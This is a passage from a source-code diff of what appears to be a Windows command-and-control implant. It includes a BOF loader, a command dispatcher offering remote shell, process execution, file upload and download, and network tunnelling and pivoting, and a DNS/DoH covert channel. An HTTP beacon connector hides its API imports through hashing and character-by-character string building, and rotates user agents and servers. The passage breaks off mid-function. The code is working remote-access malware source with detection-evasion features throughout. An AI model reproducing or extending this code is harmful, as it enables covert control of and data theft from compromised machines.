MemFreeLocal((LPVOID*)&ctx->args, ctx->argsSize);
|
||||
|
||||
if (ctx->entryName)
|
||||
MemFreeLocal((LPVOID*)&ctx->entryName, StrLenA(ctx->entryName) + 1);
|
||||
|
||||
ApiWin->DeleteCriticalSection(&ctx->outputLock);
|
||||
|
||||
if (ctx->outputBuffer) {
|
||||
ctx->outputBuffer->Clear(FALSE);
|
||||
delete ctx->outputBuffer;
|
||||
ctx->outputBuffer = NULL;
|
||||
}
|
||||
|
||||
MemFreeLocal((LPVOID*)&ctx, sizeof(AsyncBofContext));
|
||||
}
|
||||
|
||||
AsyncBofContext* Boffer::FindBofByThreadId(DWORD threadId)
|
||||
{
|
||||
ApiWin->EnterCriticalSection(&this->managerLock);
|
||||
|
||||
AsyncBofContext* result = NULL;
|
||||
for (size_t i = 0; i < this->asyncBofs.size(); i++) {
|
||||
if (this->asyncBofs[i]->threadId == threadId) {
|
||||
result = this->asyncBofs[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ApiWin->LeaveCriticalSection(&this->managerLock);
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL Boffer::HasRunningAsyncBofs()
|
||||
{
|
||||
BOOL hasRunning = FALSE;
|
||||
|
||||
ApiWin->EnterCriticalSection(&this->managerLock);
|
||||
|
||||
for (size_t i = 0; i < this->asyncBofs.size(); i++) {
|
||||
AsyncBofContext* ctx = this->asyncBofs[i];
|
||||
if (!ctx)
|
||||
continue;
|
||||
|
||||
if (ctx->state == ASYNC_BOF_STATE_RUNNING) {
|
||||
hasRunning = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
if (ctx->hThread) {
|
||||
DWORD exitCode = 0;
|
||||
if (ApiWin->GetExitCodeThread(ctx->hThread, &exitCode) && exitCode == STILL_ACTIVE) {
|
||||
hasRunning = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ApiWin->LeaveCriticalSection(&this->managerLock);
|
||||
return hasRunning;
|
||||
}
|
||||
|
||||
HANDLE Boffer::GetWakeupEvent()
|
||||
{
|
||||
return this->wakeupEvent;
|
||||
}
|
||||
|
||||
void Boffer::SignalWakeup()
|
||||
{
|
||||
if (this->wakeupEvent)
|
||||
ApiWin->SetEvent(this->wakeupEvent);
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
#pragma once
|
||||
|
||||
#include "std.cpp"
|
||||
#include "Packer.h"
|
||||
#include "ApiLoader.h"
|
||||
|
||||
#define ASYNC_BOF_STATE_PENDING 0x0
|
||||
#define ASYNC_BOF_STATE_RUNNING 0x1
|
||||
#define ASYNC_BOF_STATE_FINISHED 0x2
|
||||
#define ASYNC_BOF_STATE_STOPPED 0x3
|
||||
|
||||
#define ASYNC_BOF_OUTPUT_BUFFER_SIZE 0x10000
|
||||
|
||||
struct AsyncBofContext {
|
||||
ULONG taskId;
|
||||
ULONG state;
|
||||
HANDLE hThread;
|
||||
DWORD threadId;
|
||||
HANDLE hStopEvent;
|
||||
|
||||
BYTE* coffFile;
|
||||
ULONG coffFileSize;
|
||||
BYTE* args;
|
||||
ULONG argsSize;
|
||||
CHAR* entryName;
|
||||
|
||||
CRITICAL_SECTION outputLock;
|
||||
Packer* outputBuffer;
|
||||
|
||||
PCHAR mapSections[25];
|
||||
LPVOID* mapFunctions;
|
||||
};
|
||||
|
||||
extern __declspec(thread) AsyncBofContext* tls_CurrentBofContext;
|
||||
|
||||
|
||||
|
||||
class Boffer
|
||||
{
|
||||
public:
|
||||
Vector<AsyncBofContext*> asyncBofs;
|
||||
|
||||
HANDLE wakeupEvent;
|
||||
CRITICAL_SECTION managerLock;
|
||||
|
||||
Boffer();
|
||||
~Boffer();
|
||||
|
||||
BOOL Initialize();
|
||||
|
||||
AsyncBofContext* CreateAsyncBof(ULONG taskId, CHAR* entryName, BYTE* coffFile, ULONG coffFileSize, BYTE* args, ULONG argsSize);
|
||||
|
||||
BOOL StartAsyncBof(AsyncBofContext* ctx);
|
||||
|
||||
BOOL StopAsyncBof(ULONG taskId);
|
||||
|
||||
void ProcessAsyncBofs(Packer* outPacker);
|
||||
|
||||
void CleanupFinishedBofs();
|
||||
|
||||
AsyncBofContext* FindBofByThreadId(DWORD threadId);
|
||||
|
||||
BOOL HasRunningAsyncBofs();
|
||||
|
||||
HANDLE GetWakeupEvent();
|
||||
|
||||
void SignalWakeup();
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
|
||||
private:
|
||||
void CleanupBofContext(AsyncBofContext* ctx);
|
||||
};
|
||||
|
||||
extern Boffer* g_AsyncBofManager;
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,90 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include "Packer.h"
|
||||
#include "Agent.h"
|
||||
|
||||
#define COMMAND_CAT 24
|
||||
#define COMMAND_CD 8
|
||||
#define COMMAND_CP 12
|
||||
#define COMMAND_DISKS 15
|
||||
#define COMMAND_EXEC_BOF 50
|
||||
#define COMMAND_EXEC_BOF_OUT 51
|
||||
#define COMMAND_GETUID 22
|
||||
#define COMMAND_JOBS_LIST 46
|
||||
#define COMMAND_JOBS_KILL 47
|
||||
#define COMMAND_PWD 4
|
||||
#define COMMAND_LS 14
|
||||
#define COMMAND_MV 18
|
||||
#define COMMAND_MKDIR 27
|
||||
#define COMMAND_PROFILE 21
|
||||
#define COMMAND_PS_LIST 41
|
||||
#define COMMAND_PS_KILL 42
|
||||
#define COMMAND_PS_RUN 43
|
||||
#define COMMAND_TERMINATE 10
|
||||
#define COMMAND_REV2SELF 23
|
||||
#define COMMAND_RM 17
|
||||
#define COMMAND_UPLOAD 33
|
||||
|
||||
#define COMMAND_SHELL_START 71
|
||||
#define COMMAND_SHELL_WRITE 72
|
||||
#define COMMAND_SHELL_CLOSE 73
|
||||
#define COMMAND_SHELL_ACEPT 74
|
||||
|
||||
|
||||
#define COMMAND_SAVEMEMORY 0x2321
|
||||
#define COMMAND_ERROR 0x1111ffff
|
||||
|
||||
class Agent;
|
||||
|
||||
class Commander
|
||||
{
|
||||
public:
|
||||
Agent* agent;
|
||||
|
||||
Commander(Agent* agent);
|
||||
|
||||
void ProcessCommandTasks(BYTE* recv, ULONG recv_size, Packer* outPacker);
|
||||
|
||||
void CmdCat(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdCd(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdCp(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdDisks(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdDownload(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdDownloadState(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdExecBof(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdGetUid(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdJobsList(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdJobsKill(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdLink(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdLs(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdMkdir(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdMv(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdPivotExec(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdProfile(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdPsList(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdPsKill(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdPsRun(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdPwd(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdRev2Self(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdRm(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdShellStart(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdShellWrite(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdTerminate(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdTunnelMsgConnectTCP(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdTunnelMsgConnectUDP(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdTunnelMsgWriteTCP(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdTunnelMsgWriteUDP(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdTunnelMsgResume(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdTunnelMsgPause(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdTunnelMsgClose(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdTunnelMsgReverse(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdUnlink(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void CmdUpload(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
|
||||
void CmdSaveMemory(ULONG commandId, Packer* inPacker, Packer* outPacker);
|
||||
void Exit(Packer* outPacker);
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
};
|
||||
@@ -0,0 +1,31 @@
|
||||
#pragma once
|
||||
|
||||
#include "WaitMask.h"
|
||||
|
||||
class Connector
|
||||
{
|
||||
public:
|
||||
virtual BOOL SetProfile(void* profile, BYTE* beat, ULONG beatSize) = 0;
|
||||
|
||||
virtual BOOL WaitForConnection() { return TRUE; }
|
||||
|
||||
virtual BOOL IsConnected() { return TRUE; }
|
||||
|
||||
virtual void Disconnect() {}
|
||||
|
||||
virtual void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) = 0;
|
||||
|
||||
virtual BYTE* RecvData() = 0;
|
||||
virtual int RecvSize() = 0;
|
||||
virtual void RecvClear() = 0;
|
||||
|
||||
virtual void Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput)
|
||||
{
|
||||
if (!hasOutput)
|
||||
WaitMaskWithEvent(wakeupEvent, workingSleep, sleepDelay, jitter);
|
||||
}
|
||||
|
||||
virtual void CloseConnector() = 0;
|
||||
|
||||
virtual ~Connector() {}
|
||||
};
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,226 @@
|
||||
#pragma once
|
||||
|
||||
#include "AgentConfig.h"
|
||||
#include <windows.h>
|
||||
#include <wininet.h>
|
||||
#include "Connector.h"
|
||||
|
||||
#define DECL_API(x) decltype(x) * x
|
||||
|
||||
// DNS function pointers structure (for UDP DNS)
|
||||
struct DNSFUNC {
|
||||
DECL_API(LocalAlloc);
|
||||
DECL_API(LocalReAlloc);
|
||||
DECL_API(LocalFree);
|
||||
DECL_API(WSAStartup);
|
||||
DECL_API(WSACleanup);
|
||||
DECL_API(socket);
|
||||
DECL_API(closesocket);
|
||||
DECL_API(sendto);
|
||||
DECL_API(recvfrom);
|
||||
DECL_API(select);
|
||||
DECL_API(gethostbyname);
|
||||
DECL_API(Sleep);
|
||||
DECL_API(GetTickCount);
|
||||
DECL_API(LoadLibraryA);
|
||||
DECL_API(GetLastError);
|
||||
};
|
||||
|
||||
struct DOHFUNC {
|
||||
DECL_API(InternetOpenA);
|
||||
DECL_API(InternetConnectA);
|
||||
DECL_API(HttpOpenRequestA);
|
||||
DECL_API(HttpSendRequestA);
|
||||
DECL_API(InternetSetOptionA);
|
||||
DECL_API(InternetQueryOptionA);
|
||||
DECL_API(HttpQueryInfoA);
|
||||
DECL_API(InternetQueryDataAvailable);
|
||||
DECL_API(InternetCloseHandle);
|
||||
DECL_API(InternetReadFile);
|
||||
};
|
||||
|
||||
struct DohResolverInfo {
|
||||
CHAR host[256];
|
||||
CHAR path[128];
|
||||
WORD port;
|
||||
};
|
||||
|
||||
// DNS protocol metadata header
|
||||
#pragma pack(push, 1)
|
||||
typedef struct _DNS_META_V1 {
|
||||
BYTE version;
|
||||
BYTE metaFlags;
|
||||
USHORT reserved;
|
||||
ULONG downAckOffset;
|
||||
} DNS_META_V1, * PDNS_META_V1;
|
||||
#pragma pack(pop)
|
||||
|
||||
class ConnectorDNS : public Connector
|
||||
{
|
||||
public:
|
||||
// Constants
|
||||
static const ULONG kMaxUploadSize = 4 << 20; // 4 MB
|
||||
static const ULONG kMaxDownloadSize = 4 << 20; // 4 MB
|
||||
static const ULONG kDefaultPktSize = 1024;
|
||||
static const ULONG kMaxPktSize = 64000;
|
||||
static const ULONG kMaxSafeFrame = 60;
|
||||
static const ULONG kDefaultLabelSize = 48;
|
||||
static const ULONG kMaxLabelSize = 63;
|
||||
static const ULONG kMetaSize = sizeof(DNS_META_V1);
|
||||
static const ULONG kHeaderSize = kMetaSize + 8; // meta + total + offset
|
||||
static const ULONG kFrameHeaderSize = 9; // flags:1 + nonce:4 + origLen:4
|
||||
static const ULONG kAckDataSize = 12;
|
||||
static const ULONG kReqDataSize = 8;
|
||||
static const ULONG kDnsSignalBits = 0x1;
|
||||
static const ULONG kMaxResolvers = 16;
|
||||
static const ULONG kMaxFailCount = 2;
|
||||
static const ULONG kQueryTimeout = 3; // seconds
|
||||
static const ULONG kMaxRetries = 3;
|
||||
|
||||
private:
|
||||
ProfileDNS profile = { 0 };
|
||||
|
||||
CHAR rawResolvers[512] = { 0 };
|
||||
CHAR* resolverList[kMaxResolvers] = { 0 };
|
||||
ULONG resolverCount = 0;
|
||||
ULONG currentResolverIndex = 0;
|
||||
ULONG resolverFailCount[kMaxResolvers] = { 0 };
|
||||
ULONG resolverDisabledUntil[kMaxResolvers] = { 0 };
|
||||
|
||||
CHAR sid[17] = { 0 };
|
||||
BYTE encryptKey[16] = { 0 };
|
||||
ULONG pktSize = 0;
|
||||
ULONG labelSize = 0;
|
||||
CHAR domain[256] = { 0 };
|
||||
CHAR qtype[8] = { 0 };
|
||||
BOOL initialized = FALSE;
|
||||
BOOL hiSent = FALSE;
|
||||
BYTE* hiBeat = NULL;
|
||||
ULONG hiBeatSize = 0;
|
||||
ULONG hiRetries = kMaxRetries;
|
||||
ULONG seq = 0;
|
||||
ULONG idx = 0;
|
||||
|
||||
BYTE* recvData = NULL;
|
||||
int recvSize = 0;
|
||||
|
||||
BYTE* downBuf = NULL;
|
||||
ULONG downTotal = 0;
|
||||
ULONG downFilled = 0;
|
||||
ULONG downAckOffset = 0;
|
||||
ULONG downTaskNonce = 0;
|
||||
|
||||
BOOL compressEnabled = TRUE;
|
||||
ULONG lastDownTotal = 0;
|
||||
ULONG lastUpTotal = 0;
|
||||
|
||||
BOOL lastQueryOk = FALSE;
|
||||
|
||||
ULONG sleepDelaySeconds = 0;
|
||||
|
||||
BOOL hasPendingTasks = FALSE;
|
||||
BOOL forcePoll = FALSE;
|
||||
ULONG consecutiveFailures = 0;
|
||||
|
||||
// Upload fragment tracking for reliability
|
||||
static const ULONG kMaxTrackedOffsets = 256;
|
||||
ULONG confirmedOffsets[kMaxTrackedOffsets] = { 0 };
|
||||
ULONG confirmedCount = 0;
|
||||
ULONG lastAckNextExpected = 0;
|
||||
BOOL uploadNeedsReset = FALSE;
|
||||
ULONG uploadStartTime = 0;
|
||||
|
||||
DNSFUNC* functions = NULL;
|
||||
|
||||
DOHFUNC* dohFunctions = NULL;
|
||||
BOOL dohInitialized = FALSE;
|
||||
HINTERNET hInternet = NULL;
|
||||
DohResolverInfo dohResolverList[kMaxResolvers] = { 0 };
|
||||
ULONG dohResolverCount = 0;
|
||||
ULONG currentDohResolverIndex = 0;
|
||||
ULONG dohResolverFailCount[kMaxResolvers] = { 0 };
|
||||
ULONG dohResolverDisabledUntil[kMaxResolvers] = { 0 };
|
||||
ULONG dnsMode = DNS_MODE_UDP;
|
||||
|
||||
// WSA and socket caching (optimization)
|
||||
BOOL wsaInitialized = FALSE;
|
||||
SOCKET cachedSocket = INVALID_SOCKET;
|
||||
|
||||
// Pre-allocated buffers for hot path (optimization)
|
||||
BYTE* queryBuffer = NULL;
|
||||
BYTE* respBuffer = NULL;
|
||||
static const ULONG kQueryBufferSize = 4096;
|
||||
static const ULONG kRespBufferSize = 4096;
|
||||
|
||||
BYTE* pendingUpload = NULL;
|
||||
ULONG pendingUploadSize = 0;
|
||||
ULONG uploadBackoffMs = 0;
|
||||
ULONG nextUploadAttemptTick = 0;
|
||||
|
||||
ULONG nextForcePollTick = 0;
|
||||
|
||||
BOOL lastExchangeHadData = FALSE;
|
||||
|
||||
// Private helper methods
|
||||
BOOL InitWSA();
|
||||
void CleanupWSA();
|
||||
SOCKET GetSocket();
|
||||
void ReleaseSocket(SOCKET s, BOOL forceClose);
|
||||
void MetaV1Init(DNS_META_V1* h);
|
||||
ULONG BuildWireSeq(ULONG logicalSeq, ULONG signalBits);
|
||||
BOOL QuerySingle(const CHAR* qname, const CHAR* resolverIP, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
|
||||
void ParseResolvers(const CHAR* resolvers);
|
||||
void BuildAckData(BYTE* ackData, ULONG ackOffset, ULONG nonce, ULONG taskNonce);
|
||||
void SendHeartbeat();
|
||||
void SendAck();
|
||||
void HandleUpload(BYTE* data, ULONG data_size);
|
||||
void HandleDownload();
|
||||
BOOL ProcessDownloadChunk(BYTE* binBuf, int binLen);
|
||||
void FinalizeDownload();
|
||||
void ResetDownload();
|
||||
|
||||
// Upload reliability helpers
|
||||
BOOL ParsePutAckResponse(BYTE* response, ULONG respLen, ULONG* outNextExpected, BOOL* outComplete, BOOL* outNeedsReset);
|
||||
BOOL IsOffsetConfirmed(ULONG offset);
|
||||
void MarkOffsetConfirmed(ULONG offset);
|
||||
void ResetUploadState();
|
||||
|
||||
BOOL InitDoH();
|
||||
void CleanupDoH();
|
||||
void ParseDohResolvers(const CHAR* dohResolvers);
|
||||
BOOL QueryDoH(const CHAR* qname, const DohResolverInfo* resolver, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
|
||||
BOOL QueryDoHWithRotation(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
|
||||
BOOL BuildDnsWireQuery(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outLen);
|
||||
BOOL ParseDnsWireResponse(BYTE* response, ULONG respLen, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
|
||||
|
||||
void SendData(BYTE* data, ULONG data_size);
|
||||
|
||||
void UpdateResolvers(BYTE* resolvers);
|
||||
void UpdateBurstConfig(ULONG enabled, ULONG sleepMs, ULONG jitterPct);
|
||||
void GetBurstConfig(ULONG* enabled, ULONG* sleepMs, ULONG* jitterPct);
|
||||
void UpdateSleepDelay(ULONG sleepSeconds);
|
||||
void ResetTrafficTotals() { lastUpTotal = 0; lastDownTotal = 0; }
|
||||
BOOL IsBusy() const;
|
||||
void ForcePollOnce() { this->forcePoll = TRUE; }
|
||||
BOOL IsForcePollPending() const { return this->forcePoll; }
|
||||
BOOL WasLastQueryOk() const { return lastQueryOk; }
|
||||
const BYTE* GetResolvers() const { return profile.resolvers; }
|
||||
BOOL QueryWithRotation(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
|
||||
BOOL QueryUdpWithRotation(const CHAR* qname, const CHAR* qtypeStr, BYTE* outBuf, ULONG outBufSize, ULONG* outSize);
|
||||
|
||||
public:
|
||||
ConnectorDNS();
|
||||
~ConnectorDNS();
|
||||
|
||||
BOOL SetProfile(void* profile, BYTE* beat, ULONG beatSize) override;
|
||||
void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override;
|
||||
void Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput) override;
|
||||
void CloseConnector() override;
|
||||
|
||||
BYTE* RecvData() override;
|
||||
int RecvSize() override;
|
||||
void RecvClear() override;
|
||||
|
||||
static void* operator new(size_t sz);
|
||||
static void operator delete(void* p) noexcept;
|
||||
};
|
||||
@@ -0,0 +1,466 @@
|
||||
#include "ConnectorHTTP.h"
|
||||
#include "ApiLoader.h"
|
||||
#include "ApiDefines.h"
|
||||
#include "ProcLoader.h"
|
||||
#include "Encoders.h"
|
||||
#include "Crypt.h"
|
||||
#include "utils.h"
|
||||
|
||||
|
||||
BOOL _isdigest(char c)
|
||||
{
|
||||
return c >= '0' && c <= '9';
|
||||
}
|
||||
|
||||
int _atoi(const char* str)
|
||||
{
|
||||
int result = 0;
|
||||
int sign = 1;
|
||||
int index = 0;
|
||||
|
||||
while (str[index] == ' ')
|
||||
index++;
|
||||
|
||||
if (str[index] == '-' || str[index] == '+') {
|
||||
sign = (str[index] == '-') ? -1 : 1;
|
||||
index++;
|
||||
}
|
||||
|
||||
while (_isdigest(str[index])) {
|
||||
int digit = str[index] - '0';
|
||||
if (result > (INT_MAX - digit) / 10)
|
||||
return (sign == 1) ? INT_MAX : INT_MIN;
|
||||
|
||||
result = result * 10 + digit;
|
||||
index++;
|
||||
}
|
||||
return result * sign;
|
||||
}
|
||||
|
||||
|
||||
void* ConnectorHTTP::operator new(size_t sz)
|
||||
{
|
||||
void* p = MemAllocLocal(sz);
|
||||
return p;
|
||||
}
|
||||
|
||||
void ConnectorHTTP::operator delete(void* p) noexcept
|
||||
{
|
||||
MemFreeLocal(&p, sizeof(ConnectorHTTP));
|
||||
}
|
||||
|
||||
ConnectorHTTP::ConnectorHTTP()
|
||||
{
|
||||
this->functions = (HTTPFUNC*) ApiWin->LocalAlloc(LPTR, sizeof(HTTPFUNC));
|
||||
|
||||
this->functions->LocalAlloc = ApiWin->LocalAlloc;
|
||||
this->functions->LocalReAlloc = ApiWin->LocalReAlloc;
|
||||
this->functions->LocalFree = ApiWin->LocalFree;
|
||||
this->functions->LoadLibraryA = ApiWin->LoadLibraryA;
|
||||
this->functions->GetLastError = ApiWin->GetLastError;
|
||||
|
||||
CHAR wininet_c[12];
|
||||
wininet_c[0] = HdChrA('w');
|
||||
wininet_c[1] = HdChrA('i');
|
||||
wininet_c[2] = HdChrA('n');
|
||||
wininet_c[3] = HdChrA('i');
|
||||
wininet_c[4] = HdChrA('n');
|
||||
wininet_c[5] = HdChrA('e');
|
||||
wininet_c[6] = HdChrA('t');
|
||||
wininet_c[7] = HdChrA('.');
|
||||
wininet_c[8] = HdChrA('d');
|
||||
wininet_c[9] = HdChrA('l');
|
||||
wininet_c[10] = HdChrA('l');
|
||||
wininet_c[11] = HdChrA(0);
|
||||
|
||||
HMODULE hWininetModule = this->functions->LoadLibraryA(wininet_c);
|
||||
if (hWininetModule) {
|
||||
this->functions->InternetOpenA = (decltype(InternetOpenA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETOPENA);
|
||||
this->functions->InternetConnectA = (decltype(InternetConnectA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCONNECTA);
|
||||
this->functions->HttpOpenRequestA = (decltype(HttpOpenRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPOPENREQUESTA);
|
||||
this->functions->HttpSendRequestA = (decltype(HttpSendRequestA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPSENDREQUESTA);
|
||||
this->functions->InternetSetOptionA = (decltype(InternetSetOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETSETOPTIONA);
|
||||
this->functions->InternetQueryOptionA = (decltype(InternetQueryOptionA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYOPTIONA);
|
||||
this->functions->HttpQueryInfoA = (decltype(HttpQueryInfoA)*) GetSymbolAddress(hWininetModule, HASH_FUNC_HTTPQUERYINFOA);
|
||||
this->functions->InternetQueryDataAvailable = (decltype(InternetQueryDataAvailable)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETQUERYDATAAVAILABLE);
|
||||
this->functions->InternetCloseHandle = (decltype(InternetCloseHandle)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETCLOSEHANDLE);
|
||||
this->functions->InternetReadFile = (decltype(InternetReadFile)*) GetSymbolAddress(hWininetModule, HASH_FUNC_INTERNETREADFILE);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL ConnectorHTTP::SetProfile(void* profilePtr, BYTE* beat, ULONG beatSize)
|
||||
{
|
||||
ProfileHTTP profile = *(ProfileHTTP*)profilePtr;
|
||||
LPSTR encBeat = b64_encode(beat, beatSize);
|
||||
|
||||
ULONG enc_beat_length = StrLenA(encBeat);
|
||||
ULONG param_length = StrLenA((CHAR*)profile.parameter);
|
||||
ULONG headers_length = StrLenA((CHAR*)profile.http_headers);
|
||||
|
||||
CHAR* HttpHeaders = (CHAR*)this->functions->LocalAlloc(LPTR, param_length + enc_beat_length + headers_length + 5);
|
||||
memcpy(HttpHeaders, profile.http_headers, headers_length);
|
||||
ULONG index = headers_length;
|
||||
memcpy(HttpHeaders + index, profile.parameter, param_length);
|
||||
index += param_length;
|
||||
HttpHeaders[index++] = ':';
|
||||
HttpHeaders[index++] = ' ';
|
||||
memcpy(HttpHeaders + index, encBeat, enc_beat_length);
|
||||
index += enc_beat_length;
|
||||
HttpHeaders[index++] = '\r';
|
||||
HttpHeaders[index++] = '\n';
|
||||
HttpHeaders[index++] = 0;
|
||||
|
||||
memset(encBeat, 0, enc_beat_length);
|
||||
this->functions->LocalFree(encBeat);
|
||||
encBeat = NULL;
|
||||
|
||||
this->headers = HttpHeaders;
|
||||
this->server_count = profile.servers_count;
|
||||
this->server_address = (CHAR**)profile.servers;
|
||||
this->server_ports = profile.ports;
|
||||
this->ssl = profile.use_ssl;
|
||||
this->http_method = (CHAR*)profile.http_method;
|
||||
this->uri_count = profile.uri_count;
|
||||
this->uris = (CHAR**) profile.uris;
|
||||
this->ua_count = profile.ua_count;
|
||||
this->user_agents = (CHAR**) profile.user_agents;
|
||||
this->hh_count = profile.hh_count;
|
||||
this->host_headers = (CHAR**) profile.host_headers;
|
||||
this->rotation_mode = profile.rotation_mode;
|
||||
this->ans_size = profile.ans_size;
|
||||
this->ans_pre_size = profile.ans_pre_size;
|
||||
|
||||
this->proxy_type = profile.proxy_type;
|
||||
this->proxy_username = (CHAR*)profile.proxy_username;
|
||||
this->proxy_password = (CHAR*)profile.proxy_password;
|
||||
|
||||
if (this->proxy_type != PROXY_TYPE_NONE && profile.proxy_host != NULL) {
|
||||
ULONG hostLen = StrLenA((CHAR*)profile.proxy_host);
|
||||
WORD port = profile.proxy_port;
|
||||
CHAR portStr[6];
|
||||
int portIdx = 0;
|
||||
if (port == 0) {
|
||||
portStr[portIdx++] = '0';
|
||||
}
|
||||
else {
|
||||
CHAR temp[6];
|
||||
int tempIdx = 0;
|
||||
while (port > 0) {
|
||||
temp[tempIdx++] = '0' + (port % 10);
|
||||
port /= 10;
|
||||
}
|
||||
for (int i = tempIdx - 1; i >= 0; i--) {
|
||||
portStr[portIdx++] = temp[i];
|
||||
}
|
||||
}
|
||||
portStr[portIdx] = 0;
|
||||
|
||||
ULONG prefixLen = 0;
|
||||
if (this->proxy_type == PROXY_TYPE_HTTPS) {
|
||||
prefixLen = 8;
|
||||
}
|
||||
this->proxy_url = (CHAR*)this->functions->LocalAlloc(LPTR, prefixLen + hostLen + 1 + portIdx + 1);
|
||||
ULONG idx = 0;
|
||||
if (this->proxy_type == PROXY_TYPE_HTTPS) {
|
||||
this->proxy_url[idx++] = 'h';
|
||||
this->proxy_url[idx++] = 't';
|
||||
this->proxy_url[idx++] = 't';
|
||||
this->proxy_url[idx++] = 'p';
|
||||
this->proxy_url[idx++] = 's';
|
||||
this->proxy_url[idx++] = ':';
|
||||
this->proxy_url[idx++] = '/';
|
||||
this->proxy_url[idx++] = '/';
|
||||
}
|
||||
memcpy(this->proxy_url + idx, profile.proxy_host, hostLen);
|
||||
idx += hostLen;
|
||||
this->proxy_url[idx++] = ':';
|
||||
memcpy(this->proxy_url + idx, portStr, portIdx + 1);
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ConnectorHTTP::SendData(BYTE* data, ULONG data_size)
|
||||
{
|
||||
this->recvSize = 0;
|
||||
this->recvData = 0;
|
||||
|
||||
ULONG attempt = 0;
|
||||
BOOL connected = FALSE;
|
||||
BOOL result = FALSE;
|
||||
DWORD context = 0;
|
||||
|
||||
// Close existing handles to force new UA per call
|
||||
if (this->hConnect) {
|
||||
this->functions->InternetCloseHandle(this->hConnect);
|
||||
this->hConnect = NULL;
|
||||
}
|
||||
if (this->hInternet) {
|
||||
this->functions->InternetCloseHandle(this->hInternet);
|
||||
this->hInternet = NULL;
|
||||
}
|
||||
|
||||
while (!connected && attempt < this->server_count) {
|
||||
DWORD dwError = 0;
|
||||
|
||||
if (!this->hInternet) {
|
||||
CHAR* currentUA = this->user_agents[this->ua_index];
|
||||
if (this->proxy_url != NULL) {
|
||||
this->hInternet = this->functions->InternetOpenA(currentUA, INTERNET_OPEN_TYPE_PROXY, this->proxy_url, NULL, 0);
|
||||
}
|
||||
else {
|
||||
this->hInternet = this->functions->InternetOpenA(currentUA, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
|
||||
}
|
||||
}
|
||||
if (this->hInternet) {
|
||||
|
||||
if (!this->hConnect)
|
||||
